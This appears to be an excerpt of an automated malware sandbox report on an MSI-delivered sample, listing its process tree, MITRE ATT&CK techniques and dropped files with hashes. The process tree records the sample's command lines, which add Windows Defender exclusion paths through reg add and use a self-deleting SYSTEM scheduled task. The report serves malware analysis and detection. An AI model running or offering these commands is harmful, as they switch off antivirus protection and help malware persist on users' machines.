C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3404 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6132
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5364
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1348
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bUObzr" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1008 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bUObzr" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1380
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:2780
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5076
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1880
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4128 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4236
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5990ed.rbs
- Size 7KB
- SHA256 60a361973f27dfa30ca0c0e82cbba5969680b40fdf83c3abafcb416af2ed61aa
- MD5 254abfb0cc48fc4357413bb63645fc09
- SHA1 b4f843147682cf90aee183bf1a3e5f7453619b7d
- SHA512 bd7ab5766577344318227adb8c25442f87f52d94c93a35a710b11fe5d824383b8e2dd6d973ff9a6bb263345c0672782727d0b5db7117f0c61283c096c7878f0e
- SSDEEP 96:igwguT7RCPPQPaUUTm1CsThq5UTm1C6joXPxtThqxH6S5ivW1EVbICCKpljAu485:ivCvzSIIXSIb8kWBKpn
- TLSH T1D5F1FC42AB0096F3EF961F75C713176637B3E3E89220574F099D88601F5638C6E9A29F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\bUObzr\IUdi0d.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\bUObzr\UxEnhance64.dll
- Size 3.1MB
- SHA256 78e301ffbbafc1d7710bdc09d2334d7da9360acf2aee5c4ee7fa63081ae65409
- MD5 5dcd17e708f23a4a72952ba4b21924fb
- SHA1 91df53bf33433b4f8c40aae6d2481fcfa7c6b86f
- SHA512 18cef54302f6e52bf44b4c12cbe533032eb84234713b5f92403c779f4c38a297f9d80a0c631e7579fe9b8c12c51d714c8d8794ea7115d3b489619f5934fd6196
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+K:P9m29xx3Tiqt06ox6+z2rNNrKoK
- TLSH T195E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\bUObzr\adoresd.dat
- Size 4.7MB
- SHA256 4f96ac71690bd48758ff977833bae2168617329341decb38370805decbb491f6
- MD5 61a5f296940094e03190d09b239afb8c
- SHA1 7a1cbed7e2d070511a07070785f4119e346c5258
- SHA512 320cd07dec028e1077c290129657d3de2775aeecceb9807ebec3fd95e1d88113a0c4e17a2740c341449f91685d314fab55fa543e46f98e23707b3e9e7b780b92
- SSDEEP 98304:3mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Wu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1133633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\bUObzr\msadox.tb
- Size 8KB
- SHA256 c769a38353ac67936820211eea40745011591de4783e8bc28da0fe449c5a1664
- MD5 8ab61c2df7c9e515636bba923b5fbf5b
- SHA1 bd06b16dd3ad91a1052f380707e4789030e1045b
- SHA512 80953c7df59eef1991d497b293a8e33db40cdfa891e3a34f7f17eb746ef10346b0506ccb7dfcc40ad65371ebf38a5daddb481d76fc686747f01d1f79194815dc
- SSDEEP 192:ZqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ZsZqZOXQ3uqvR2Kfzp
- TLSH T14C029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI97D2.tmp
- Size 9.6MB
- SHA256 aae39fcc881194e10f4b05bdb8d4fb1d2535654c52f77c527c72b9c1bdbc0747
- MD5 6e259c741d601fb53106da8108f4a9f8
- SHA1 01762971c668fb8f132654a8e600228fab3e1c7f
- SHA512 7c5a1f062ff5f9d45fe5933b31fa9e4ddea7f720bc64a385bb2f894c138040ef8013ede194ea6a8899a59e6dcf2793975c37d697dbc352dec0ea3c3e249f4b63
- SSDEEP 196608:07SnDN9VA2YmcXizV05JMNkNMQ6b7Dds/RQvEDUQPyb5AL:NDa2ZiizsJZGbC/uEV6bCL
- TLSH T12EA633E8689BB3B8D09BC3B0C26278AE712D7BC77D6F9D067BF817401D616160076B91
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e5990ec.msi
- Size 9.6MB
- SHA256 52793c228aafdae94c86e5f71c96ff4fdaca1c95f66e44fddd9d7806f4a51dea
- MD5 84aca7001bf015a483e745bfbb4b868f
- SHA1 71c0eac260e8d794d0b9ce220b1452f637acf13f
- SHA512 8e7fe717a5d47689cd26782319c38ece5e75b4fd7d07634610a31998cd09d9b22fba37fb726fb8375ca021ac6a8a2d3c158115774da94a84f48bce948db0dec0
- SSDEEP 196608:K7SnDN9VA2YmcXizV05J+NkNMQ6b7Dds/RcvEDUQPyb5Al:7Da2ZiizsJzGbC/SEV6bCl
- TLSH T1BFA633D8689A63B8D09BC3B0C153B8AE712D7FC67E6F990677E837401D3172600B6B95
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 8b43dac60e33fa8b1058ad0463380bd487e0b5f2d553e28352c025da3269e9de
- MD5 c8e2fef7902672573ad064c543ac8439
- SHA1 a2e62098f8ef128b9fb10809cdaf28f0a2062751
- SHA512 5584aa81f8baa1175a59dbe66c06b3df16353f481b61301e3ece928717e18b9bddff0c711f2d2cc56453326ec73ffb1c22d2f5768ccafcdcdc71fe4006d18e42
- SSDEEP 24576:2Fo3DMPhdoO/vvTL/Sg88iFQvrumHb7P0BKudxSUKpyKpb9cMoRWclmd4+S:SHU
- TLSH T1E657B42436F92200E7F79E3DA8F06A234D397D5BAC15DE8D45511B4E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{6a4ff985-1899-4644-b911-0a306e5c7f62}_OnDiskSnapshotProp
- Size 6KB
- SHA256 d171cb9204275602f317482d2aaf66664d044477a9d9acc5396fefafee6fd353
- MD5 981b5a62c698dbaf89e3327ca66527d3
- SHA1 3990e5dbb07e9cde61d378cc8a466ce2498abf78
- SHA512 c252087c75cb2d98ea2af0290d71ee3f3c580d399c61b0e7b81f5f2e6e1dcba8e31d82f1ac50718880e344e40ff258b714b5a6272147512d065a67d20d8118f4
- SSDEEP 96:FkM75Cvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:6aeb++uVmN
- TLSH T14BD188085AF54711E2B3AB3129F18557A837B911FF33CB8E0198638E2631A14F935F6B
- MD5 SHA1 SHA512 SSDEEP TLSH